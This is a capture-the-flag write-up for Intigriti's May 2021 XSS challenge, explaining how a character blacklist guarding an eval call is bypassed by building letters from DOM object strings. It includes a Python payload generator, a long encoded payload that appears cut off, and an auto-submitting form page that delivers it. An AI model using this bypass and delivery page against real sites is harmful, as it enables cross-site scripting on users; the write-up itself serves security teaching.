2021-06-07 22:32:49 +00:00
# challenge-0521.intigriti.io
2021-10-18 11:21:18 +00:00
### Brief Description <a href="brief-description" id="brief-description"></a>
2021-06-07 22:32:49 +00:00
2021-10-18 11:21:18 +00:00
The challenge provides a vulnerable to XSS form in the page [https://challenge-0521.intigriti.io/captcha.php ](https://challenge-0521.intigriti.io/captcha.php ).\
This form is loaded in [https://challenge-0521.intigriti.io/ ](https://challenge-0521.intigriti.io ) via an iframe.
2021-06-07 22:32:49 +00:00
2021-10-18 11:21:18 +00:00
It was found that the form will **insert the user input inside the JavaScript `eval` function** . This is usually a bad idea as it can lead to **arbitrary JavaScript execution** , and this is a good example.\
However, before inserting the user input inside the`eval` function, it’ s checked with the regexp `/[a-df-z<>()!\\='"]/gi` so if any of those character is found, the user input won’ t be executed inside `eval` .\
2021-06-07 22:32:49 +00:00
Anyway, it was found a way to bypass the regexp protection and execute `alert(document.domain)` abusing the dangerous `eval` function.
2021-10-18 11:21:18 +00:00
### Accessing the HTML <a href="accessing-the-html" id="accessing-the-html"></a>
2021-06-07 22:32:49 +00:00
2021-10-18 11:21:18 +00:00
It was found that the letter `e` is permitted as user input. It was also found that there is an HTLM element using the `id="e"` . Therefore, this HtML element is accesible from Javascript just using the variable `e` :\
2021-06-07 22:32:49 +00:00
![](https://i.imgur.com/Slq2Xal.png)
Also, it’ s important to know that in JS you can **access the attributes of an objects with a dot or with a string between brackets** . So, you can access the `domain` attribute of a `document` object in either of the following ways:
```javascript
document.domain
document["domain"]
```
2021-10-18 11:21:18 +00:00
And the same happens with attributes that are functions (methods):
2021-06-07 22:32:49 +00:00
```javascript
document.write("1")
document["write"]("1")
```
Then, from the `e` HTML element it’ s possible to access the `document` object using something like:
```javascript
e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]
```
2021-10-18 11:21:18 +00:00
### Calling a function without parenthesis with JS code as string <a href="calling-a-function-without-parenthesis-with-js-code-as-string" id="calling-a-function-without-parenthesis-with-js-code-as-string"></a>
2021-06-07 22:32:49 +00:00
2021-10-18 11:21:18 +00:00
From the object `document` it’ s possible to call the `write` function to **write arbitrary HTML text that the browser will execute** .\
However, as the `()` characters are **forbidden** , it’ s not possible to call the function using them. Anyway, it’ s possible to call a function using **backtips** (\`\`).\
2021-06-07 22:32:49 +00:00
Moreover, it’ s possible to put as string javascript code that is going to be executed using `${...}` like:
```javascript
`${"alert(document.location)"}`
```
Therefore, combining the `document` object access with this technique to execute functions without parenthesis it’ s possible to **execute an alert using** :
```javascript
e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${"< script > alert ( document . location ) < / script > "}`
```
You can test this code in a javascript console inside the page [https://challenge-0521.intigriti.io/captcha.php ](https://challenge-0521.intigriti.io/captcha.php )
2021-10-18 11:21:18 +00:00
### Final forbidden characters bypass <a href="final-forbidden-characters-bypass" id="final-forbidden-characters-bypass"></a>
2021-06-07 22:32:49 +00:00
2021-10-18 11:21:18 +00:00
However, there is still one problem left. Most of the characters of the exploit are **forbidden** as they appear in the regexp `/[a-df-z<>()!\\='"]/gi` . But note how all the **forbidden characters are strings** inside the exploit and the **not string characters in the exploit (e\[]\`${}) are allowed** .\
This means that if it’ s possible to **generate the forbidden charaters as strings from the allowed characters** , it’ s possible to generate the exploit.\
In order to do this I have generated a [JSFuck ](http://www.jsfuck.com ) like alphabet to generate the necesary characters (_this alphabet is custom for this challenge_).\
You can **see the full alphabet inside the exploit code** (which can be found in the next subsection and in the file _exploit.txt_ ).
2021-06-07 22:32:49 +00:00
2021-10-18 11:21:18 +00:00
For example, in order to **generate the letter `a`** it’ s possible to access ** `[[]/e+e][0][1]` ** as `[[]/e+e][0]` generates the string `"NaN[object HTMLProgressElement]"` or in order to generate the **letter `f`** its possible to access the **5th char of `[[][[]]+e][0]`** as that expression generates the string `"undefined[object HTMLProgressElement]"` .\
Using these tricks and some more complex ones it was possible to **generate all the characters (letters and symbols) of the strings contained** in the exploit:
2021-06-07 22:32:49 +00:00
```javascript
e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${"< script > alert ( document . location ) < / script > "}`
```
2021-10-18 11:21:18 +00:00
### Exploit Code <a href="exploit-code" id="exploit-code"></a>
2021-06-07 22:32:49 +00:00
This is the python exploit used to generate the final exploit. If you execute it, it will print the exploit:
```python
#JS Specific Direct Alphabet
x = {
"1": "1",
".": ".",
"[": "[e+e][0][0]",
"]": "[e+e][0][27]",
"/": "[/e/+e][0][0]",
"a": "[[]/e+e][0][1]",
"b": "[e+e][0][2]",
"c": "[e+e][0][5]",
"d": "[[][[]]+e][0][2]",
"e": "[e+e][0][4]",
"f": "[[][[]]+e][0][4]",
"g": "[e+e][0][15]",
"H": "[e+e][0][8]",
"i": "[[][[]]+e][0][5]",
"j": "[e+e][0][3]",
"L": "[e+e][0][11]",
"l": "[e+e][0][21]",
"M": "[e+e][0][10]",
"n": "[[][[]]+e][0][1]",
"N": "[[]/e+e][0][0]",
"o": "[e+e][0][1]",
"r": "[e+e][0][13]",
"s": "[e+e][0][18]",
"t": "[e+e][0][6]",
"T": "[e+e][0][9]",
"u": "[[][[]]+e][0][0]",
}
#JS Dependent Alphabet
#The following alphabet will use previously obtained characters
#Note that this way of getting the characters are custom for the abused HTML
outerHTML = '+'.join(x[k] for k in 'outerHTML')
x['p'] = f'e[{outerHTML}][1]'
x['y'] = f'e[{outerHTML}][39]'
x['< '] = f'e[{outerHTML}][0]'
x['>'] = f'e[{outerHTML}][62]'
x['"'] = f'e[{outerHTML}][13]'
parentNode = '+'.join(x[k] for k in 'parentNode')
document =f'e[{parentNode}][{parentNode}][{parentNode}][{parentNode}][{parentNode}]'
x['h'] = f'e[{parentNode}][{parentNode}][{outerHTML}][15]'
children = '+'.join(x[k] for k in 'children')
captcha = '+'.join(x[k] for k in 'captcha')
x['w'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][35]'
write = '+'.join(x[k] for k in 'write')
x['m'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][38]'
x['('] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][42]'
x[')'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][43]'
# Exploit generation
payload_text = '< script > alert ( document [ "domain" ] ) < / script > '
payload = '+'.join(x[k] for k in payload_text)
txt = f'{document}[{write}]'+'`${['+payload+']}`'
print(txt) #Write the exploit to stdout
```
2021-10-18 11:21:18 +00:00
### Exploitation <a href="exploitation" id="exploitation"></a>
2021-06-07 22:32:49 +00:00
In order to generate the exploit just execute the previous python code. If you prefer, you can also copy/paste it from here:
2021-10-18 11:21:18 +00:00
```
2021-06-07 22:32:49 +00:00
e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[][[]]+e][0][5]+[e+e][0][21]+[[][[]]+e][0][2]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]][[e+e][0][5]+[[]/e+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[]/e+e][0][1]][[e+e][0][15]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][35]+[e+e][0][13]+[[][[]]+e][0][5]+[e+e][0][6]+[e+e][0][4]]`${[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][0]+[e+e][0][18]+[e+e][0][5]+[e+e][0][13]+[[][[]]+e][0][5]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][
```
2021-10-18 11:21:18 +00:00
Then, you need to **generate a HTML page** that, when loaded, it’ s going to **redirect** the victim to the **challenge** page **setting the exploit in the captcha form** . The following code can be use for this purpose (_note that the exploit is URL encoded_):
2021-06-07 22:32:49 +00:00
```markup
<!-- CSRF PoC - generated by Burp Suite Professional -->
< body >
< script > history . pushState ( '' , '' , '/' ) < / script >
< form action = "https://challenge-0521.intigriti.io/captcha.php" method = "POST" >
< input type = "hidden" name = "c" value = "e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0]&#
< input type = "submit" value = "Submit request" / >
< / form >
< script >
document.forms[0].submit();
< / script >
< / body >
< / html >
```
2021-10-18 11:21:18 +00:00
Finally, **serve the poc in a HTTP** server and access it from the browser:\
2021-06-07 22:32:49 +00:00
![](https://i.imgur.com/qack7GO.png)
Just press **submit** on the captcha form and the alert will be executed:
![](https://i.imgur.com/mCORty3.png)